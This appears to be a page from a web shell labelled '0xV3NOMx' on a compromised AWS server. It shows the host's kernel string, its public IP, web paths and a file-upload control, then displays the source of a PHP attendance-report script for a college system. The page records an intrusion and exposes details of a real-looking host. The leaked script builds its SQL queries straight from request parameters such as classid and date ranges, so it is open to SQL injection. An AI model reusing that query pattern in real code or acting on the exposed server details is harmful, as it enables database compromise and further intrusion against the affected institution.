0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.220.43.27


Current Path : /var/www/oasis/Report_details/
Upload File :
Current File : /var/www/oasis/Report_details/AttdetPdfUniclare.php

<?php
$main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7);
$pdf_writer_class =$main_src."/tcpdf/tcpdf.php";
require_once($pdf_writer_class);
include_once("stringspliter.php");
require_once("/var/www/html/aws/aws-autoloader.php");
use Aws\S3\S3Client;
use Aws\S3\Exception\S3Exception;

ini_set('max_execution_time', 300);
ini_set("memory_limit","500M");

// $pdf_writer_class =$main_src."/maya-pdf/fpdf.php";
// require_once($pdf_writer_class);
	
class ra_invigilators_dairy  extends TCPDF
{
	function DefaultConstructor($aobj_context)
	{
		session_start();
		$this->aobj_context=$aobj_context;
		$this->pdf=  new TCPDF();
		$this->pdf=$this;
		$this->fromdate=trim($this->aobj_context->mobj_data["fromdate"]);
        
		// var_dump($this->dateto);die();
		$this->fromqpcode=trim($this->aobj_context->mobj_data["fqpcode"]);
		$this->toqpcode=trim($this->aobj_context->mobj_data["tqpcode"]);
		$this->session=trim($this->aobj_context->mobj_data["session"]);
		$this->room_range_from=trim($this->aobj_context->mobj_data["room_range_from"]);
		$this->room_range_to=trim($this->aobj_context->mobj_data["room_range_to"]);
		$this->rtype=trim($this->aobj_context->mobj_data["rtype"]);
		$this->room_range_from=str_pad($this->room_range_from, 3, "0", STR_PAD_LEFT);  
		$this->room_range_to=str_pad($this->room_range_to, 3, "0", STR_PAD_LEFT);  
		$this->ip=$_SERVER["REMOTE_ADDR"];
		$get_date="select now() as now_date";
		$obj=$this->aobj_context->mobj_db->GetRow($get_date);
		$this->current_date=$obj['now_date'];	
		$this->collcode=$_SESSION['collcode'];	
		$this->funivcode=$_SESSION['FUNIVCODE'];	
		$this->headeractive = true;
		$this->startPageGroup();
	}
 
	function Header()
	{
    
		if($FUNIVCODE == '031')
		{
			if(!empty($this->pdf_logo_path))
			{
				$img_logo_path=$this->aobj_context->main_src. '/'.$this->aobj_context->mobj_data["db"]."/img/report_uni_logo.jpg";
				$this->pdf->Image($img_logo_path,60,4,80);
				$this->pdf->Ln(10);
			}	
		}
		else
		{
			// $img_path=$this->aobj_context->main_src. '/'.$this->aobj_context->mobj_data["db"].'/'.$this->photo_path;
			// if(!empty($this->photo_path) && file_exists($img_path)) 
			// {			
			// 	$this->pdf->Image($img_path,166,50,50);
			// }	
			if(!empty($this->pdf_logo_path))
			{
				$img_logo_path=$this->aobj_context->main_src.'/'.$this->aobj_context->mobj_data["db"].'/'.$this->pdf_logo_path;
				$this->pdf->Image($img_logo_path,10,10,30);
			}
			$this->pdf->SetFont('Times','B',15);
			$this->pdf->ln(3);
			$this->pdf->cell(150,3,$this->FUNIVNAME."","0",1,"C");
			$this->pdf->SetFont('Times','B',8);
			$this->pdf->cell(150,6, $this->s_state,"0",1,"C");
		}
		$this->pdf->SetFont('Times','B',12);
		$this->pdf->cell(150,6, "College : $this->college_details ","0",1,"C");
		$this->pdf->SetFont('Times','B',12);
		// if($FUNIVCODE == '005')
		// 	$this->pdf->Cell(150,6,"ATTENDANCE SHEET","0",1,"C");
		// else
			$this->pdf->Cell(150,7,"Date Wise Attendance","0",1,"C");
            $this->pdf->Cell(70,5,$this->date,"0",0,"L");
            $this->pdf->Cell(10,5,$this->classid,"0",1,"C");
            
	}	
	
	function Footer()
	{

		
			$this->SetY(-15);
			$this->pdf->SetFont('Times','B',8);
			//$this->Cell(140,6,'Entered  : IP Address : '.$this->ip_address." Date ".$this->created_date,'0',0,'L');
			$this->Cell(140,6,'Printed   : IP Address : '.$this->ip." Date ".$this->current_date,'0',0,'L');
			// $this->Cell(50,6,'Page '.$this->PageNo().' of {nb}',0,1,'R');
			$this->Cell(50, 6,'Page ' .$this->PageNo().'', 0, 1, 'R');
		
		
	}
	
	function formcolldata($fclassname,$classid, $date)
	{
        
		
		$get_coll_name="select FUNIVNAME as 'FUNIVNAME',FUNIVCODE,
						FUNIVADD1 as 'state', pdf_logo_path From control";
		$lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name);
		$this->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME'];
		$this->s_state=$lobj_get_coll_name['state'];
		$this->f_year=$lobj_get_coll_name['f_year'];
		$this->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path'];
		$this->funivcode=$lobj_get_coll_name['FUNIVCODE'];
        

	 	
		$get_data="SELECT c.FCOLLCODE,
				CONCAT(c.FCOLLCODE, ' - ', c.FCOLLNAME,', ',c.FTOWN) AS FCOLLNAME FROM college c
				where c.FCOLLCODE='{$this->collcode}'";					
		$obj_student=$this->aobj_context->mobj_db->GetRow($get_data); 
		 
		$this->college_details = $obj_student['FCOLLNAME'];
		$this->degree_details  = " College : {$this->FCOLLNAME}";
        $this->date  = " Date : {$date}";
        $this->classid  = " Class Name : {$fclassname} ({$classid})";		

	 }
	 
	function writepdf($data){

        
		$pdf=$this->pdf;
        $pdf->SetMargins(20,35,25,10);
        $pdf->startPageGroup();
        $pdf->AddPage("P");
    
        // $pdf->SetMargins(10,12,10);		
        
        $empty_cell_width=12;
        $pdf->SetFont('Times','B',10);

		// var_dump($data,'fdgdg');
		$this->pdf->cell(15,7, "Sl. No.","1",0,"C");
		$this->pdf->cell(30,7, "USN","1",0,"C");
		$this->pdf->cell(100,7, "Name","1",0,"C");
		$this->pdf->cell(30,7, "Absent/Presnt","1",1,"C");
		$pdf->SetFont('Times','',12);
        // $z=0;
		$c = 1;
		foreach($data as $key=>$value){

				$y = $this->pdf->getY();
				if($y >260)
                {   
                    
                    $pdf->AddPage("P");
                    
                    $empty_cell_width=12;
                    $pdf->SetFont('Times','B',10);
                    $this->pdf->cell(15,7, "Sl. No.","1",0,"C");
                    $this->pdf->cell(30,7, "USN","1",0,"C");
                    $this->pdf->cell(100,7, "Name","1",0,"C");
                    $this->pdf->cell(30,7, "Absent/Presnt","1",1,"C");
                    $pdf->SetFont('Times','',12);
                }
			
			$this->pdf->cell(15,7, $c,"1",0,"C");
			$this->pdf->cell(30,7, $value['FREGNO'],"1",0,"C");						
			$this->pdf->cell(100,7, $value['fname'],"1",0,"L");
			$this->pdf->cell(30,7, $value['FPRESENT'],"1",1,"C");
			$c++;
		}
	}
	 
	function SendOutput()
	{
		$this->pdf->Output("datewiseAttendance.pdf","I");
	}

}

function pdfAttDateWiseReportUniclare($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

	$univcode = trim($aobj_context->mobj_data["univcode"]);
	$collcode = trim($aobj_context->mobj_data["collcode"]);
	$teachcode = trim($aobj_context->mobj_data["teachcode"]);
	$classid = trim($aobj_context->mobj_data["classid"]);
	$datefrom = trim($aobj_context->mobj_data["fromDate"]);
	$dateto = trim($aobj_context->mobj_data["todate"]);
	$class_obj=new ra_invigilators_dairy();
    $class_obj->DefaultConstructor($aobj_context);
	// $class_obj->formcolldata($classId, $datefrom);

	// var_dump($univcode);
	// die();
    
    $query = "select distinct date_format(d.fdate,'%d/%m/%Y') as fdate, a.fclassname from attend_det d 
              inner join attclass a on a.fclassid = d.fclassid
              where d.fclassid='{$classid}' 
              and d.fdate between date_format(str_to_date('{$datefrom}','%d/%m/%Y'),'%Y-%m-%d')
              and date_format(str_to_date('{$dateto}','%d/%m/%Y'),'%Y-%m-%d')";		  
	
	$res1 = $aobj_context->mobj_db->GetAll($query);

    foreach($res1 as $value)
    {
        $query = "select s.fname, a.*  from attend_det a inner join student s
             on s.fregno = a.fregno where fdate = date_format(str_to_date('{$value['fdate']}','%d/%m/%Y'),'%Y-%m-%d')
            and a.fclassid='{$classid}' and fupduser='{$teachcode}' order by fdate";

		$class_obj->formcolldata($res1[0]['fclassname'],$classid, $value['fdate']);    
		$lobj_get_data = $aobj_context->mobj_db->GetAll($query);
		$class_obj->writepdf($lobj_get_data);
    }
	
	$class_obj->SendOutput();
}



?>